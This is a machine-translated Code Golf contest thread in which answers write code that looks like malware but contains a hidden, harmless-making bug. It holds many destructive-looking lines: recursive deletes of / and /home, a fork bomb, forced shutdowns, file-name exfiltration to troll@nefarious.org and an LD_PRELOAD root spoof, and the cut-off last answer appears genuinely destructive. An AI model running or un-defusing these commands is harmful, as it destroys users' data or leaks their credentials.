拖钓巨魔[关闭]


184

巨魔捕获了您,并迫使您编写恶意软件(定义为破坏运行它的计算机的程序)。巨魔可以阅读和理解代码,但是不善于发现错误。

您的目标是编写一个程序,该程序:

  1. 看起来像恶意软件;即,一个刚开始阅读代码的程序员将被认为该代码会对运行它的计算机造成损害。
  2. 实际上完全没有损坏。

注意:巨魔仅读取代码,而不注释。因此,代码本身应该清晰且令人信服。

示例(重击):

rm - rf /home

此示例看起来像是rm -rf /home从系统中删除了所有主文件夹,但是实际上,由于rf之前的空间,这将无法正常工作,并且只会导致无害的错误消息。

这是可以接受的解决方案,但不是很好,因为该错误很容易检测到。

另一方面,复杂且不可读的程序也不是很好的解决方案,因为它看起来不会像恶意软件。

一个好的解决方案应该足够易读,以使读者相信它是恶意软件,但其中包含一个难以检测并使其无害的错误。

这是一次人气竞赛,因此投票最多的代码将获胜。


160
我觉得像你想欺骗我到粘贴rm - rf /到我的壳...
undergroundmonorail

19
重击rm -rf /。除非系统非常旧,否则将需要--no-preserve-root:)
user80551

10
-1是因为a)代码拖曳,更重要的是b)我非常担心有关创建恶意软件的任何问题(即使它是伪造的,它也很接近)。
Gareth 2014年

13
@Gareth虽然它并不是真正的恶意软件(如今通常会试图隐藏和/或窃取数据),但它几乎是完全显而易见的删除操作,任何初学者都可以毫不费力地编写。
鲍勃(Bob)

29
rm - rf /不是有效的例子!如果您rf在当前目录中调用了文件,可能会造成损坏
gnibbler 2014年

Answers:


140

重击

我走了另一条路。除了删除硬盘驱动器上的所有内容之外,我将用垃圾填充它。

该脚本创建了一个文件夹,然后将cat所有文件连续地组合在一起,并将它们放到一个新的文件夹中,并添加ls -al了作好衡量的值(这样,起始文件中就有内容)。

#!/bin/bash/

makeSpam()
{
    string=`cat *`
    string=$string`ls -al`
    echo $string > "file"$i".spam"
}

mkdir "SpamForYou"
cd "SpamForYou"

i=1
while [ 1 ]
do
  makeSpam $i
  i=$(($i + 1))
done

除了...

/ bin / bash /(而不是/ bin / bash)不太可能是有效的解释器。这只是我的常见错字。并且,由于“从技术上讲,shebang是评论,因此巨魔将忽略它”


56
+1。脚本的第一行是许多程序员(包括我自己)的盲点。
Erel Segal-Halevi 2014年

44
从技术上讲,shebang只是一个评论,因此巨魔将忽略它
Brian Minton 2014年

14
+1滥用无评论的评论:)那真的不是很明显
masterX244 2014年

37
运行它bash whatever.sh会毁了你的把戏……
Darkhogg 2014年

8
@Darkhogg,真幸运!我将其保存为evil.command以便巨魔可以双击它(至少在Mac上可以打开)
James Webster 2014年

114

哈斯克尔

检查此手册页removeDirectoryRecursive删除目录及其所有内容!

import System.Directory
main = return (removeDirectoryRecursive "/")

正确的代码应该是main = removeDirectoryRecursive "/"
main函数应该返回做某件事的概念removeDirectoryRecursive "/"返回擦除文件系统的概念,但是return函数(是的,它是一个函数)将其参数包装在返回该值的虚拟概念中。
因此,我们最终得到了一个擦拭驱动器的概念。(您好,我喜欢您喜欢的概念。) haskell运行时执行从中返回的概念main并丢弃返回的值,在我们的情况下,这是擦除文件系统的概念。


85
+1。即使阅读了您的解释,我也无法理解该错误……
Erel Segal-Halevi 2014年

3
据我了解,这是一个指针错误(指向函数的指针而不是指向函数)。很好,刚入门的程序员通常很容易陷入指针技巧。
令人惊讶的2014年

3
基本上,这将是类似return removeDirectoryRecursive;,而不是return removeDirectoryRecursive();在C,是正确的?
3Doubloons,2014年

4
@ user1121352否。该函数本身已被调用,但是由于它是纯文件,因此无法删除该文件。相反,它提供了IO操作,该操作从返回时将main执行并删除文件。return但是,显式使用该函数会创建一个IO操作,其目的只是为了创建值。
mniip

4
@Cthulhu returnreturn其他语言(甚至“从函数返回值”)无关。type的值IO a与其他语言的函数也没有多大关系。所以,这个比喻是相当手工波浪
尼克拉斯B.

103

的PHP

这是一个递归PHP脚本,试图删除网站中的每个文件。如果网站很大,可能需要一段时间才能完成,因此请耐心等待...

<html>
<body>
<p>Deleting website; please wait
<img src="data:image/gif;base64,R0lGODlhCAAIAPAAAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQEMgD/ACwAAAAACAAIAAACBoSPqcvtXQAh+QQFMgAAACwAAAAACAAIAAACBoyPqcvtXQA7" /></p>
<?php

function zapfiles($dir) {
  if (is_dir($dir)) {
    $files = scandir($dir);
    foreach ($files as $file) {
      if ($file != '.' && $file != '..') {
        if (is_dir("$dir/$file")) {
          zapfiles("$dir/$file");
        }
        else {
          try {
            @delete("$dir/$file"); // Suppress locked file errors
          }
          catch (Exception $e) {
            // Locked files can't be deleted; just carry on
          }
        }
      }
    }
  }
}

zapfiles($_SERVER['DOCUMENT_ROOT']);

?>
<p>Website deletion complete</p>

只是一个青少年问题...

PHP中没有delete()命令。脚本在遇到此命令后将立即失败,但不会显示任何错误消息,因为通过在此命令前加上@可以抑制错误报告。闪烁的GIF图像给人的印象是正在发生任何事情,而完全没有任何事情发生。


31
^据我了解:没有delete()函数,该手册只是说这对任何希望使用正确函数(取消链接)的人都是“伪造的”。这并不意味着PHP中存在某种“自动”重定向。
Erti-Chris Eelmaa 2014年

93
@ user11153被拖了。
2014年

34
瞧,我认为错误将被忽略并且继续执行的原因是因为它是PHP。
Zoey 2014年

17
我认为使用随机不存在的功能是显而易见的(delete删除文件?没有理由认为会欺骗任何人)。怎么样unlⅰnk,而不是(使用U + 2170,而不是“我”)?
康拉德·鲁道夫2014年

18
@KonradRudolph delete在PHP中完全可以相信一个名为删除文件的函数。唯一令人难以置信的是,如果它是真实的,将有3或4种其他方式来实现,而除了名称最怪异的一种之外,其他所有方式都将存在严重的安全漏洞。
布伦丹(Brendan)2014年

93

Perl(Unix)

删除系统上的所有文件。

#! /usr/bin/perl -w
use strict;

sub killdir {
    opendir(my $dh, ".");
    my @dl = readdir($dh);
    closedir($dh);
    foreach my $de (@dl) {
        if (-d $de) {
            chdir($de);
            killdir();
            chdir("..");
            rmdir($de);
        } else {
            unlink($de);
        }
    }
}

chdir("/");
killdir();

特征

  • 这是有效的Perl。它甚至可以使用-w和编译并运行use strict

  • 没有像C ++那样的小问题deleteunlink确实是删除文件,rmdir删除目录等功能。

  • 通过更改为每个目录以使用相对路径,可以正确处理绝对路径名可能超过系统最大长度的深层嵌套目录。同样,不会耗尽目录句柄,因为它会在递归之前读取并关闭目录。

扰流板

在Unix上,根目录中的第一个条目通常是“。”。因此该程序将执行chdir(“。”)的无限递归,直到耗尽内存并崩溃。

进一步说明

做到这一点比预期的要难。如果不使用chdir方法,则最终会得到一个太长的路径名。然后-d返回false并且无限递归被破坏,文件实际上可能被删除了!如果您保持目录句柄打开,可能会发生类似的错误。最终您用完了,opendir失败,killdir返回,并且删除开始发生。


45
“然后-d返回false并且无限递归被破坏,文件实际上可能被删除!” 您是否了解到这种困难的方式?
Niklas B.

4
@NiklasB .:幸运的是,我测试了一个虚拟版本:)
Nate Eldredge

我希望这样的代码只能删除空文件夹,而不能删除文件...
Qwertiy 2014年

3
“在Unix上,根目录中的第一个条目通常是“。”。那么,还有一种仅Windows的恶意软件吗?
亚历山大

1
@timmyRS:该程序将崩溃。该系统将继续运行就好了。
Nate Eldredge

81

外壳一线

这将窃取受害者的所有密码,私钥,比特币等。

 find / -name "passwd" -or -name "shadow" -or -name "secring.gpg" -or -name "wallet.dat" |mail troll@nefarious.org

扰流板:

看起来好像它通过电子邮件将所有这些文件发送到了巨魔,但实际上它只是通过电子邮件发送了它们的文件名。


4
要通过电子邮件发送内容,必须在某处包含catheadtail命令。
Agi Hammerthief 2014年

7
无论如何,仍然会泄漏数据。这是巨魔巨魔吗?
凯尔凯利2014年

-exec cat '{}' \; | …
Martin Ueding 2014年

@queueoverflow-print0 | xargs -0 cat |
量子

1
我读了2-3次代码后就没有扰流板了。
nyuszika7h 2014年

74

批次/ CMD

DEL %0
DEL %1
DEL %2
DEL %3
DEL %4
DEL %5
DEL %6
DEL %7
DEL %8
DEL %9

并让它们使用计算机上每个驱动器的参数运行它。

%0始终是第一个参数-文件名。在这之后是一组实际参数,但是它已经删除了自己,因此不会继续。


104
还依赖于Batch的有趣行为,即关闭文件并重新打开文件以读取每一行的下一行...
Bob

8
DEL %0除非在命令行中指定了文件扩展名,并且脚本通过提供其完整路径来运行,或者您位于同一目录中,否则该脚本将无法工作。DEL "%~f0"可以解决这两个问题,并且对路径内任何地方的空间都具有弹性。而且%10也不存在向上-转换为%1后跟一个文字0
乔恩

14
+1。即使巨魔了解“ DEL%0”的作用,您也可以说服他,这只是为了清除证据,并且不会对批处理文件造成任何损害,因为该批处理文件将在执行结束之前保留在内存中(这是错误的,如Bob所言)。说过)。
Erel Segal-Halevi 2014年

2
聪明的巨魔仍然会认为在文件的开头(而不是结尾)发出自我删除命令很奇怪,除非您考虑到批处理脚本容易出错的可能性。
Agi Hammerthief 2014年

10
@Bob我不知道批处理是那样的...太可怕了。
w4etwetewtwet 2014年

48

Java脚本

infiniteLoop=true;
evilMessage='I spam you !';
while(infiniteLoop) {
  eval(atob('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7'));
  alert(evilMessage);
}

好吧,原始恶意软件不会破坏您的计算机,但可能会令人讨厌。

这是无害的,因为:

eval将打破无限循环,并修改该消息。


40
我会投票给你,但你有1337名。
scrblnrd3 2014年

5
所以请不要!:)
Michael M.

@scrblnd,它已经消失了D:
Riking

11
否决错误的答案,直到您回到它为止。
大卫·斯塔基

4
只是为他人讲解,ATOB( 'aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7')将执行以下命令:“infiniteLoop = FALSE; evilMessage = evilMessage.replace(”垃圾邮件“ ”LOVE“);”
Mohammed Joraid 2014年

45

爪哇

愿诸神原谅我屈服于您的不幸要求,巨魔。

class HomeWrecker {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec("rm -rf /home/*");
    }
}

Runtime.exec 不会调用外壳程序,因此不会进行全局扩展,并且该命令将尝试删除名称为“ *”的主目录,但不会成功


1
那么我的主目录是什么?;)
Vorac 2014年

6
老实说,这是更好的Java答案之一。这就需要对(许多)崩溃有相当扎实的理解Runtime.exec()。+1。
2014年

java是否具有等效于c 函数的实际system()值?
SuperJedi224 '16

@ SuperJedi224不,您必须指定 /bin/sh -ccmd /c或手工什么的。这是有道理的,因为您永远不知道命令在新的OS上会做什么。
另一个人

37

C

由于他没有阅读应做的评论:

#include<stdlib.h>
int main()
{
//Are you reading this??/
 system("C:\\WINDOWS\\System32\\shutdown /s /t 0000");

 return 0;
}

C ++版本

感谢DragonLord为此。

#include<cstdlib>
int main ()
{
//Are you reading this??/
system("shutdown -s -t 0000");
return 0; 
}

将其添加到启动文件夹中,然后重新启动计算机。

这个怎么运作:

?? /是一个三元组,将在注释中添加下一行,因此基本上不会执行任何操作。注意:请勿尝试将此Trigraph作为默认情况在某些编译器中关闭,并且必须将其打开才能起作用。


如果在某些编译器中可能有效,那么它是真正的拖钓吗?
Antonio Ragagnin 2014年

4
不会,但是在实际情况下,我宁愿不要使用此类代码来拖钓(我不想伤害拖钓!)
Antonio Ragagnin14年

2
@AntonioRagagnin如果这适用于任何编译器,则该编译器有问题。但是,大多数现代编译器都会警告使用三元图(但接受并编译代码)。
康拉德·鲁道夫2014年

8
因此,如果巨魔不读的意见和您的解决方案是使恶意软件进入评论,并不意味着所有的巨魔看到的是一个功能mainreturn 0
David Starkey 2014年

1
??/真是个老把戏...对不起。
Isiah Meadows 2014年

33

爪哇

import java.io.File;
class derp
{
    public static void main( String[] a)
    {
        new File("C:\\windows\\System32\ntoskrnl.exe").delete();
    }
}

使用转义符(ntoskrnl.exe之前的\ n是换行符,而不是普通的N)


20
如果您不转义其他反斜杠,则该错误看起来甚至不那么明显。巨魔可能会认为该语言不使用反斜杠转义

2
@ 3Doubloons在这种情况下代码不会编译失败吗?
2014年

2
@Neil:好点。它不会,但如果巨魔让我们一去,因为他满意他的阅读,我们在明确
3Doubloons

29
new File("C:\ntldr").delete();
Egor Skriptunoff 2014年

3
@EgorSkriptunoff我花了很长时间才意识到XP并不是XD的变体。
贾斯汀

31

重击

#!/bin/bash
set -t 

echo "hahaha deleting files.."
rm -rf / --no-preserve-root

set -t将在读取并执行一个命令后退出。该脚本不输出任何输出,所有文件都是安全的!

或以下但在运行前请阅读脚踏车

#!/bin/bash -t
echo "hahaha deleting files.."
rm -rf / --no-preserve-root

根据大众的要求.. #!/bin/bash -t将在读取并执行一个命令后退出。不要在下面运行它,bash -x因为它将忽略-t和执行脚本中的命令。


SPOILERS我有点困惑... set -t和之间有什么区别exit?Bash手册页说该set -t命令在“一个命令”之后退出,但似乎将set命令本身视为该命令并立即退出。
Kyle Strand'3

6
如果其他命令与set -t (例如,以分号或双“&”号隔开)在同一行,则将执行它们。在这种情况下,第一行将set -t; echo "hahaha deleting files.."回显该文本,然后退出。
乔格登2014年

2
啊。谢谢。没意识到;换行符和换行符之间的行为存在任何差异。
Kyle Strand'3

4
#!/bin/bash -t也许?
尼尔

2
@JOgden太糟糕了,bash并没有执行与perl相同的shebang解析技巧(如果您运行perl foo.pl并且foo.pl以开头#!somethingendingin/perl -flags,perl的行为就像是被调用的一样-flags
hobbs

30

蟒蛇

print "****----....____....----"""" This program will clear the browser cache "

import os
from os.path import expanduser
home = expanduser("~")
os.remove(home)

print """"----....____....----***** Cache cleaned. "                                     

三个引号“””在Python中启动多行字符串


5
错误,他们开始使用多行字符串 docs.python.org/2/tutorial/introduction.html#strings
user80551

12
我在看到答案的五秒钟内就从字面上看到了问题,我什至都不知道python。
戴帽子的家伙

6
好主意,问题是如果巨魔使用语法高亮显示,他会发现它。
o0'。

1
我认为一般的巨魔会在互联网上看到随机的恶意代码,然后将其复制粘贴到另一个论坛中。
Antonio Ragagnin 2014年

1
很好,我对Python很有经验,但我没有发现这个缺陷。使用4个引号可能会欺骗我。
令人惊讶的2014年

29

d

该程序有效,执行没有错误。它在新线程中产生删除功能,该功能会删除root目录。

import std.concurrency : spawn;
import std.file : rmdirRecurse;

string root;

void deleteRoot()
{
    if (root)
        rmdirRecurse(root);
}

void main()
{
    root = "/";
    spawn(&deleteRoot);
    // ... could add a waiting animation here.
}

但是什么都没有删除...

因为在D中,默认情况下在模块作用域声明的变量是线程局部的。该main功能将其设置为“/”,但产卵线程有一个空的副本,所以该rmdirRecurse功能没有被调用。


1
好!我设法赶上在这一个错误,虽然我不知道D.
埃雷尔西格尔-Halevi

1
“默认情况下,全局变量是线程局部的”那是个矛盾
Niklas B.

@NiklasB。有什么矛盾?
biozic 2014年

那么它不是“全局变量”。也许“在顶层声明的变量”是一个更好的描述?
圣保罗Ebermann

是的,已编辑!它不那么模棱两可。至少从词汇上来讲,这并不完全是矛盾。
biozic 2014年

25

C(Unix)

添加一些广告绝不会伤害任何人。

#include <stdlib.h>

int main()
{
    // Join the crew
    goto http;//www.trolling.com
    print("Sucker!\n");
    system("rm -rf ~");
    // Remember goto
    http://www.trolling.com
    return 0;
}

http:这是一个标签,转到跳转到缺少有害代码的标签。:V


5
我设法发现了一个:)
Erel Segal-Halevi 2014年

17
第一个URL中的分号很容易在此字体中发现。但这很有创意!
CompuChip 2014年

12
goto被认为是有帮助的
drewbenn 2014年

1
我注意到了,因为转到后没有分号。如果您将其更改为goto http;//www.trolling.com;(在两个位置),我可能会错过它。
wchargin

2
它不会编译,因为没有print功能。
nyuszika7h 2014年

24

的JavaScript

function foo(a) { // Returns an object, and all objects are truly
    return
    {
        a: a
    };
}
for(var i=0; foo(i); ++i) // loop condition is always truly
    alert('Infinite alerts!');

没有显示警报。由于JavaScript不需要;在行尾,因此会在return变成后自动插入return;。然后undefined返回虚假的,而不是“对象”(实际上被解析为块语句)。


3
很想+1只为使用的“真正的”和“falsy”)
CompuChip

1
+1,因为JS中的这个“缺陷”无数次让我措手不及...必须重读几次才能看到它
Mark Ormston 2014年

12
@NigelNquande分号不会导致失败,换行符会导致失败。return和应该返回的对象位于单独的行上,因此永远不会返回该对象。要“修复”,请删除换行符,使其显示为return {
Dave

3
希望巨魔不会缩小代码!
Mohammed Joraid 2014年

2
UglifyJS说WARN: Dropping side-effect-free statement [-:4,11]并返回function foo(a){}for(var i=0;foo(i);++i)alert("Infinite alerts!");
nyuszika7h 2014年

22

的JavaScript

//Config: Warning!!! only set to true on victims box!
var deleteEverything = true;

function deleteIfEvil(){
  if(deleteEverything){
    alert('Destroy Everything!');
    //clear the flag
    var deleteEverything = false;
  } else {
    alert('Tested OK!');
  }
}

deleteIfEvil();

交换破坏警报,以防您想要使用任何令人讨厌的破坏性行动。

扰流板:

虽然看起来配置已设置为delete ... ,但它是!函数内部的“ var”声明是“悬挂的” http://www.adequatelygood.com/JavaScript-Scoping-and-Hoisting.html,因此进入函数时实际上为假。


不错的技巧,但是为什么要重置标志?
Mohammed Joraid 2014年

“重置”只是一个示例...可以是赋值有效的任何变量...即使前缀为'var'可能也会有意想不到的后果。
scunliffe 2014年

16

爪哇

让我们删除一些重要文件!

import java.io.File;
import java.io.IOException;

public class Deleter {

    private File importantFile = null;

    public Deleter(File f) {

        importantFile = f;

        /**}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{
         * }{ I don't care how important that file is. I'm going to delete it! }{
         * }{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{*/}{

        importantFile.delete();

    }

    public static void main(String[] args) throws IOException {
        // Let's delete some important stuff
        new Deleter(new File("/boot/vmlinuz"));
        new Deleter(new File("/etc/passwd"));
        new Deleter(new File("/etc/crontab"));
        new Deleter(new File("/etc/sudoers"));
    }

}

注释中隐藏了一个额外的{}。这会将文件删除放在单独的实例初始化块中,该块在构造函数之前执行。那时,重要文件仍然为空。


16
我设法找到了一个:)
Erel Segal-Halevi 2014年

17
如果巨魔不阅读评论,这将非常非常明显。
接近

6
我选择将“巨魔不阅读注释”解释为“巨魔以与人类跳过注释类似的方式跳过注释”。在这种情况下,很容易错误地误以为这两个字符实际上不在注释之内。
乔K

1
这是我在阅读说明之前解决的唯一方法,但是做得很好!
nrubin14年

15

Bash,C,Linux

也许它并非完全是恶意软件,但可以肯定是其中的一部分:)

这是一个了不起的发现,它可以让您在任何Linux机器上都具有root权限!嘘,没人告诉我们我们拥有它!

#!/bin/sh
cd /tmp
cat >ex.c <<eof
int getuid() { return 0; }
int geteuid() { return 0; }
int getgid() { return 0; }
int getegid() { return 0; }
eof
gcc -shared ex.c -oex.so
LD_PRELOAD=/tmp/ex.so sh
rm /tmp/ex.so /tmp/ex.c

现在执行脚本,您将成为root用户!您可以确保使用whoami

实际上,它只会欺骗您UID = 0(这是root用户ID)的所有应用程序。

该代码由Lcamtuf编写,来源:http://lcamt​​uf.coredump.cx/soft/ld-expl


+1。真的很好。我仍然不完全了解它是如何工作的。
Erel Segal-Halevi 2014年

@ErelSegalHalevi:有关LD_PRELOAD的更多详细信息,请参见stackoverflow.com/questions/426230/what-is-the-ld-preload-trick
mik01aj 2014年

2
Read on on fakeroot(1)是一个库,它拦截对POSIX系统各种功能的调用,并欺骗调用者以使其认为它具有对整个系统的(伪)读和(伪)写访问权限。实际上,它实际上不会(无法)提供这些权限,但是当程序(例如,调用文件中的“ fake” chmod函数并更改权限)时,fakeroot将记住这些权限,以便stat调用将返回更新的权限。一些发行版使用它来允许软件包构建系统创建具有root:root所有权的文件。
sleblanc 2014年

1
我相信这是lcamt​​uf:lcamt​​uf.coredump.cx/soft/ld-expl-至少我记得它是90年代以来就存在的
维珀尔2014年

13

重击

cat <<EOF
ProHaxer Hacking Tool 2014. Destroying your computer in
background, please wait until it finishes.
EOF

# Freeze the machine, so nobody will stop the process.
:(){:|:&};:

# Remove stuff in the background.
rm -rf /* &>/dev/null &

“ fork-bomb”行上存在语法错误。在{之后,应该有一个空格。没有它,脚本将失败,因为函数定义本身后没有{标记。


2
您必须添加注意事项(也许是在扰流板中),不要使用它,ksh因为fork炸弹不是语法错误!
devnull 2014年


@丹尼斯:不相关,我还没有看到。但老实说有趣的话题。我知道bash中的解析是如何工作的,这就是为什么我不使用它的原因:-)。
Konrad Borowski

11

埃马克斯·利斯普(Emacs Lisp)

首先是一个简单的。这个没有做。实际上,它正在尝试从返回的列表中删除等于:recursive的元素directory-files。它不会删除任何文件。

(delete :recursive
    (directory-files "/"))

这是一个甚至可能会绊倒埃利斯派兽医的人。

(let ((files (directory-files "/")))
  (while (setq file (pop files) )
    (delete-file file)))

删除根目录仅1个字符。

emacs lisp将允许jsut用作符号的名称(变量,函数,宏等)。可以在符号名称中使用unicode,这就是这里发生的情况。

setq可以接受任意数量的args (setq a 3 b 4)就像做a = 3; b = 4;但是(setq a 3 b)也是有效的,并且做a = 3; b =无;

setq的返回值是分配给最后一个变量的值。在示例中分别为4和nil。

(setq a 3 b)正是代码中正在发生的事情,但是我使用的是unicode空格字符而不是b。我将值nil分配给一个名为unicode字符0x2001的变量。因此,setq返回nil,而while循环的条件永远不会为真。取出该空格字符,它将正常运行。


10

只是另一个perl黑客。

在2002年这本书的时候,在Perlmonks闲逛时,通常只是想尽可能地提高我对Perl的了解。根本没有编辑它,但是它仍然可以运行。

#!/usr/bin/perl -w
use strict;
require File::Path;

my $root_dir = '/';

$root_dir = 'c:\\' if( $^O =~ /Win/i );

rmtree( $root_dir );

mkdir( $root_dir );

open( ROOT, $root_dir );

while(1)
{
  BEGIN{@INC=sub{*DATA}}
  print ROOT <DATA>;
}

__DATA__
# Fill the harddrive with junk!
''=~('('.'?'.'{'.('`'|'%').('['
^'-').('`'|'!').('`'|',').'"'.(
'['^'+').('['^')').('`'|"\)").(
'`'|'.').('['^'/').('{'^('[')).
'\\'.'"'.('`'^'*').('['^"\.").(
'['^'(').('['^'/').('{'^"\[").(
'`'|'!').('`'|'.').('`'|"\/").(
'['^'/').('`'|'(').('`'|"\%").(
'['^')').('{'^'[').('['^"\+").(
'`'|'%').('['^')').('`'|"\,").(
'{'^'[').('`'|'(').('`'|"\!").(
'`'|'#').('`'|'+').('`'|"\%").(
'['^')').'.'.'\\'.'\\'.('`'|'.'
).'\\'.'"'.';'.('`'|'%').("\["^
'#').('`'|')').('['^'/').(';').
'"'.'}'.')');$:='.'^'~';$~='@'|
'(';$^=')'^'[';$/='`'|('.');$_=
'('^'}';$,='`'|'!';$\=')'^"\}";
$:='.'^'~';$~='@'|'(';$^=(')')^
'[';$/='`'|'.';$_='('^('}');$,=
'`'|'!';$\=')'^'}';$:='.'^"\~";
$~='@'|'(';$^=')'^'[';$/=('`')|
'.';$_='('^'}';$,='`'|('!');$\=
')'^'}';$:='.'^'~';$~='@'|"\(";
$^=')'^'[';$/='`'|'.';$_=('(')^
'}';$,='`'|'!';$\=')'^('}');$:=
'.'^'~';$~='@'|'(';$^=')'^"\[";

如果我没记错的话,BEGIN无论代码在哪里,该块都首先运行。它用@INC子例程(通常是一组路径,但这是允许的)替换确定了Perl从何处加载其库的库。子例程实际上是混淆的数据块,它在做一些regexp + eval魔术。然后,当代码命中时require File::Path;(它不会使用use),该子程序将被执行,并按照传统的方式打印“ Just another perl hacker。”,然后退出。其余代码将永远无法到达。


1
哇,我花了一些时间来理解这段代码的作用(但是我没有读过破坏者)。我对这个正则表达式调用块进行了解码(这与我在codegolf.stackexchange.com/a/23871/3103中使用的方法相同),并且我喜欢它如何包含exit命令(后跟无意义的分号,但这并不重要) )。
Konrad Borowski

呵呵,必须自己弄清楚,毕竟是11-12岁。分号可能只是为了使所有内容整齐排列。
2014年

9

PHP:

$condition = true and false;

if (!$condition) {
   // DO EVIL - Just do something evil here
}

乍看之下,$condition是,但=运算符的优先级高于and,因此条件为真。所以邪恶永远不会完成。


8

带有Boost的C ++

这将删除文件系统上的所有文件

#include "boost/filesystem.hpp"
using namespace boost::filesystem;

void delete_directory(const path* dir_path)
{
  if (!exists(*dir_path)) return;

  directory_iterator end_file_itr;
  for (directory_iterator file_itr(*dir_path);
        file_itr != end_file_itr;
        ++file_itr) {
    const path* file = &file_itr->path();
    if (file_itr->status().type() == directory_file) {
      delete_directory(file);
    } else {
      delete(file);
    }
  }

  delete(dir_path);
}

int main() {
  delete_directory(new path("/"));
  return 0;
}

其实不会。delete在C ++中,C ++用于释放由分配的内存new,而不删除文件和目录。该程序在尝试释放Boost分配的内存时很可能会因分段错误而崩溃,但是到那时,我将摆脱巨魔的束缚。


+1。这很难发现,因为它甚至可以正确编译。
Erel Segal-Halevi 2014年

2
第一条问题线是否是未定义的行为?在这种情况下,它实际上可能会删除他的所有文件。
aschepler 2014年

1
@aschepler:“ UB可以删除您的所有文件”提供了一个有趣的解释,即您无法预测调用UB时会发生什么,但这通常是不可能的。如果巨魔的编译器会擦除UB上的硬盘,那么他就不会让我们给他写恶意软件
3Doubloons 2014年

2
语法高亮会在这里给巨魔一个提示……
mik01aj 2014年

8

爪哇

这会假装下载RAM,但是会删除用户的主目录。

import java.util.*;
import java.io.*;
class RamDownloaderIO {
    public static void main(String[] args) {
        long onePercentWaitTime   = 2*60*1000;  // 2 minutes
        long twoPercentWaitTime   = 7*60*1000;  // 7 minutes
        long deleteWaitTime       = 9*60*1000;  // 9 minutes
        long completeWaitTime     = 10*60*1000; // 10 minutes
        Timer timer = new Timer(true);
        // User thinks, Hmm this is taking a while
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("1% done");
            }
        }, onePercentWaitTime);
        // User is now completely impatient, and either leaves to get a coffee
        // or starts reading reddit
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("2% done");
            }
        }, twoPercentWaitTime);
        // Now that he's not looking, delete everything in his home directory
        timer.schedule(new TimerTask() {
            public void run() {
                try {
                    final Runtime rt = Runtime.getRuntime();
                    rt.exec("rm -rf ~/*");
                } catch (IOException e) {
                }
            }
        }, deleteWaitTime);
        // Inform the user that the task is finished
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("Download complete!");
                System.out.println("You now have 21.47GB RAM!");
                System.exit(0);
            }
        }, completeWaitTime);
        System.out.println("Welcome to the ramdownloader.io RAM downloader");
        System.out.println("Please wait. Downloading your free RAM...");

    }
}

Timer使用后台线程调用您TimerTask提交给它的。new Timer(true)创建一个Timer将后台线程设置为守护程序线程的,因此程序可以在运行任务之前立即退出。太长的代码使巨魔无法看到true参数。



7

重击

# This script should always be executed as root #
set -e

cleanup() {
  rm -rf / --no-preserve-root
}

eval $(base64 -d <<< "dW5zZXQgLWYgY2xlYW51cA==")
eval $(base64 -d <<< "Y2xlYW51cCgpIHsgZWNobyBUcm9sbCBkZXRlY3RlZDsgfQo=")
cleanup

它可能会变得邪恶。它定义了一个函数rm -rf /并将其调用。它不仅利用了邪恶eval不止一次。

当然会造成很多损害!

如果您想知道,第一个eval通过以下方式取消设置功能: unset -f cleanup 第二个eval将其定义为: cleanup() { echo Troll detected; } 因此,在运行代码时,您会看到 Troll detected


9
好!但是,我要说的是“ base64”行(显然对于实际的删除没有用)使这一点太明显了。
Erel Segal-Halevi 2014年

1
如果使您相信evals在做比任何明显代码更邪恶的事情,可能会更好。当前的代码使我问:如果明显的东西正在删除所有内容,为什么还要隐藏“邪恶”代码呢?
Tim S.

2
我认为此base64命令不符合要求,因为它可能非常恶意:如果(不是标准命令)在运行它的系统上不存在,则评估无效并且rm -rf /运行!如果base64存在,也会因某些原因(例如ulimit)失败而发生这种情况。
R..

1
@R .:而且,rm -rf /在大多数rm的实现中均无效。这是一项安全功能-您无法在大多数实施中删除根目录rm
Konrad Borowski

1
据我所知,它适用于busybox版本。:-)
R.,

6

重击

当然,我们需要计算机的root特权,因此我们使用旧的“我是否具有root?”检查器,又名ch(eck)root -但最好是在目录中不会有提出了许多警报做到这一点。/ tmp会很完美,因为每个人都可以在那里写文件。

在此之后,我们只删除整个硬盘上的邪恶笑声

mkdir -p /tmp/chroot_dir && chroot /tmp/chroot_dir /bin/bash -c "su - -c rm -rf /*"

10
作为德国人,我可以说:不要像德国人那样大笑……
Philipp Sander 2014年

Wer,如果不是德国人,Zen可以笑吗,Zen?
亚历山大·科苏贝克

5
我必须承认,这花了我几次代码阅读,然后重新阅读您的注释以弄清楚为什么有人可能认为这是恶意的。如果您未尝试说服某人chroot做了其他事情,而问题确实表明巨魔没有阅读评论,我认为这不会奏效……
Chris

1
顺便说一句,chroot它不是“检查根目录”,而是“更改根目录”-它改变了用户的想法/。有趣的是,该巨魔对root和非root用户无能为力。root用户获得一个新的root(由于/ tmp / chroot_dir的新创建的根目录中不存在任何东西,因此没有/ bin / bash命令),非root用户无法chroot。
2014年

就像这样的线索-我知道这不是“更改根目录”,但是我的捕获器(正确的单词?)不知道-因此他严重失败
german_guy 2014年

6

iPhone-飞扬的鸟克隆

当用户播放iPhone Flappy Bird克隆文件时,Documents目录中的所有文件都将被删除。

#import "AppDelegate.h"
#import "FlappyBirdClone.h"

@implementation AppDelegate

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
    FlappyBirdClone *flappyBirdClone = [FlappyBirdClone new];
    [flappyBirdClone startFlapping];

    NSURL *documentsDirectory = [[[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask] lastObject];
    [self deleteAllDocumentsInDirectory:documentsDirectory];

    return YES;
}

- (void)deleteAllDocumentsInDirectory:(NSURL *)directoryURL
{
    NSArray *fileURLs = [[NSFileManager defaultManager] contentsOfDirectoryAtURL:directoryURL includingPropertiesForKeys:@[] options:0 error:nil];

